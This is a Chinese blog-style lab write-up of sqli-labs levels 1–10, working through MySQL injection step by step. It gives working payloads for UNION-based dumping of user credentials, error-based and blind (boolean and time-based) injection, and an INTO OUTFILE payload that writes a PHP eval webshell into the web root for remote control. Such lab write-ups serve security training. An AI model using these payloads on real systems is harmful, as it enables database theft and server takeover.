Sqli-labs闯关讲解(1-10)

基本知识:

1. Mysql在5.0以上版本加入了 information_schema 这个系统自带库 其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等.

2.数据库相关的内容:

\bullet   information_schema,系统数据库,包含所有数据库相关信息。

\bullet   information_schema.schemata中schema_name列,字段为所有数据库名称。

\bullet   information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。

\bullet   information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名。

靶场:

先献上目录:

0.0

考查点:UNION联合查询注入(Less-1-5)

Less-1  GET - Error Based - Single quotes - String

( 基于错误的GET单引号字符型注入 )

1. 随便传个参数     ?id=9


1.0

2.判断注入,用  ‘  测试,发现页面报错, 说明存在字符型注入



3.用 -- asdf 或 # 把单引号后面的注释,中间就可以插入sql语句了


       1.1

4.判断字段数

order by 4   页面报错


1.2

order by 3   页面正常,证明有3个字段

1.3

5.判断回显点

用联合查询union select 1,2,3  发现页面还是正常


1.4

原因联合查询出来的结果,数据很多,没有被显示,只显示了id=9的数据 ,而我们不让id=9的结果显示就可以了,让id=9.99就可以了,成功的发现有两处回显点。


1.5

6.查询数据库

将3替换为database(),得到数据库:security

1.6

这里只返回了数据库,也可以用concat_ws()输出多个

concat函数:连接一个或者多个字符串


0.1

而concat_ws函数 即有分隔符的字符串连接


0.2

查询用户名版本

concat_ws(char(32,58,32),user(),version())



1.7

7. 查询security中的表

?id=9.99' union select 1,2,table_name from information_schema.tables where table_schema="security" limit 0,1 -- asd

一共得到三个表:emails、referers、users

1.8


1.9


1.91

8.查询user里的字段

?id=9.99' union select 1,2,column_name from information_schema.columns where table_name="users" limit 0,1 -- asd

一共得到字段:id、username、password   


1.92


1.93


1.94

9.查询username和password字段的内容

payload:

?id=9.99' union select 1,username,password from users -- asd

得到账号密码

1.95

Less-2 GET - Error Based - Intlger based 

 (基于错误的GET整型注入)

直接输入?id=3 and 1=2报错,and 1=1不报错,说明此处是数值型注入

直接插入sql语句,后面查询过程跟less1相似。

2.0


Less-3  GET - Error Based - Single quotes with twist - string

  (基于错误的GET单引号变形字符型注入) 

用单引号尝试,发现页面报错


3.1

后面加注释 发现还是会报错


3.2

引号后面加个括号,发现页面正常

3.3

同理得到账号密码

payload:

?id=9.99') union select 1,username,password from users -- asd

3.4

Less-4 GET - Error Based - Double Quotes - String 

(基于错误的GET双引号字符型注入) 

用and1=1和and 1=2 测试,页面都正常

用单引号也正常,用双引号报错,加上)后面注释页面正常

这里和第三题差不多


同理得到账号密码

payload:

?id=9.99") union select 1,username,password from users -- asd

4.0


Less-5 GET - Double Injrction - String Quotes -  String

(双注入GET单引号字符型注入)

1.用 ’ 测试发现报错  后面的注释掉,发现页面正常


5.0

2.中间插入sql语句,这题与前面几题不一样,这题没有回显,但是页面报错,在这里我们可以使用一种新的注入方式:报错注入

5.1

三种报错注入常用的语句:

(1)通过floor报错:

and (select 1 from (select count(*),concat((payload),floor (rand(0)*2))x from information_schema.tables group by x)a)

其中payload为想要插入的sql语句

该语句将输出字符长度限制为64个字符;

语句详情:http://www.hellomao.top/2019/08/16/web_mysql_floor/


(2)通过updatexml报错

and updatexml(1,payload,1)

?id=9%27and updatexml(1,(concat(0x7e,(select database()))),1) -- asd

该语句的输出长度限制为32位,

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效;


(3)通过ExtractValue报错

and extractvalue(1, payload)

and extractvalue(1, concat(0x7e,payload,0x7e))

输出字符长度限制为32位


3..这里我们使用第一种floor报错语句进行sql注入

?id=9’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)-- asdf


5.2

这里的数据库则是security,而不是security1,这个1是floor报错语句中拼接输出的一部分

4.查询所有数据库

?id=9’and (select 1 from (select count(*),concat((select database()),floor (rand(0)*2))x from information_schema.tables group by x)a)-- asdf


5.3

这里提示超过一行,说明这里数据库名组成的字符串长度超过了64位,用limit 0,1来一个个输出

?id=9%27and (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a) -- asdf

5.4

还有几个库,这里就不多演示了

Less-6 GET - Double Injrction - Double Quotes -  String

(双注入GET双引号字符型注入)

与第5关类似,只不过这一关使用的是  "的方式闭合字符串

我们只需要将?id=9' 改为 ?id=9"即可

其余过程不再赘述,请参考第五关


Less-7 GET - Dump into outfile -  String

(导出文件GET字符型注入)

用单引号测试发现报错,后面的注释掉 ,发现依旧报错

加个括号还是报错,再加个括号页面正常

?id=9')) -- asdf

结合上题的报错注入

?id=9%27)) union select count(*),1,concat((select database()),floor (rand(0)*2))a from information_schema.tables group by a -- asdf

发现页面没有报错,只能盲注了!

哈哈,其实未然,看来几位大神的文章,这题还有其他做法,顺便就借鉴了。


1.此时可以进行注入使用outfile写文件至 web 服务器

mysql 使用 into outfile 写文件需要写清绝对路径,可以使用@@datadir查询数据库存储路径,@@basedir查询mysql安装路径,这里可以利用之前几关进行查询一下。

?id=9%27)) union select 1,count(*),concat(@@datadir,floor (rand(0)*2))x from information_schema.tables group by x; -- sdaf


7.0

2.取mysql的目录C:\phpStudy\,然后使用

?id=9') )union select 1,2,3 into outfile "C:\\phpStudy\\MySQL\\data\\asdf.php"-- a尝试写入文件


7.1


7.2

虽然报错了,但还是写入成功了。

需要注意的是写入的文件名不能重复,也就是新的不会覆盖旧的。


4.既然可以写入文件到数据库,那么我们直接写入一句话木马上传到数据库中

?id=9') ) union select 1,2,"<?php @eval($_POST['aa']);?>" into outfile "C:\\phpStudy\\WWW\\as.php"-- asdf


7.3

写入成功。

5.链接菜刀


7.4


7.5

Less-8 GET - Blind Boolian Based -  String Quotes

(布尔型单引号GET盲注)

和第七关差不多,将?id=9')) -- a换成?id=9' -- a即可

1. 我们用substr函数来做

?id=9%27 and (ascii(substr(database(),1,1))) =115 -- aa


8.0

页面正常 说明查询出数据库的第一个字母的assic是115,对应的字母为 s

这里可以使用burp跑包,就不演示了

同理出数据库为:security

2. 猜表名:

?id=9%27 and(ascii(substr((select table_name from information_schema.tables where table_schema ="security"  limit 0,1),1,1)))=101 -- aa

查询出数据库的第一个字母的assic是101,对应的字母为 e

后面的就不演示了。

8.1


Less-9 GET - Blind - Time Based -  String Quotes

(基于时间型单引号GET盲注)

用and 、‘ 、')、“、”)测试都没反应,

从新看来下标题有思路了,这不就是时间单引号盲注吗!!!

直接 ?id=9' or sleep(2) -- a


8.0

延时了25.22秒,有些不正常,

改成 ?id=9' or sleep(0.2) -- a   延时了3秒 


8.1

尝试了下and  发现延时正常了


8.2


引入一个函数if

if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

?id=9%27 and if(ascii(substr(database(),1,1))=115,0,sleep(5)) -- asdf

8.3

发现基本没有延时,说明查询出数据库的第一个字母的assic是115,对应的字母为 s

以下和less8做法大致相同,不过多演示。

Less-10 GET - Blind - Time Based -  Double Quotes

(基于时间型双引号GET盲注)

1.输入’和”都显示正常,尝试?id=9’ and sleep(5) -- asdf,没什么延迟,尝试” and sleep(5) -- asfd延迟时间变为6秒多,说明是双引号的时间型盲注。

以下做法和上题相同,不过多演示。

10.0
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 214,172评论 6 493
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 91,346评论 3 389
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 159,788评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 57,299评论 1 288
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,409评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,467评论 1 292
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,476评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 38,262评论 0 269
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,699评论 1 307
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,994评论 2 328
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,167评论 1 343
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,827评论 4 337
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,499评论 3 322
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,149评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,387评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,028评论 2 365
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,055评论 2 352

推荐阅读更多精彩内容

  • less-1 输入单引号后报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间 爆表:用到语句:id=...
    lokisteven阅读 3,160评论 0 4
  • 摘要:本篇是关于sqli-labs第1到第10关的闯关记录 Less-1 单引号闭合,有错误提示,有查询返回点 根...
    iamblackcat阅读 452评论 0 2
  • 基于错误_POST_更新查询注入 我讨厌这个错误回显。 这一关有很多不同的解法,我们将依次分析(这篇看上去会很长)...
    Hyafinthus阅读 4,028评论 7 12
  • 1.1. 触屏事件 1.1.1 触屏事件概述 移动端浏览器兼容性较好,我们不需要考虑以前 JS 的兼容性问题,可以...
    王玉伟的伟阅读 594评论 0 1
  • 我在得到看到一堂精品课《怎样健康活过100岁》,试听了二遍,马上就付款订阅了。然后一口气听完了全部内容,我觉得对老...
    680521阅读 245评论 1 3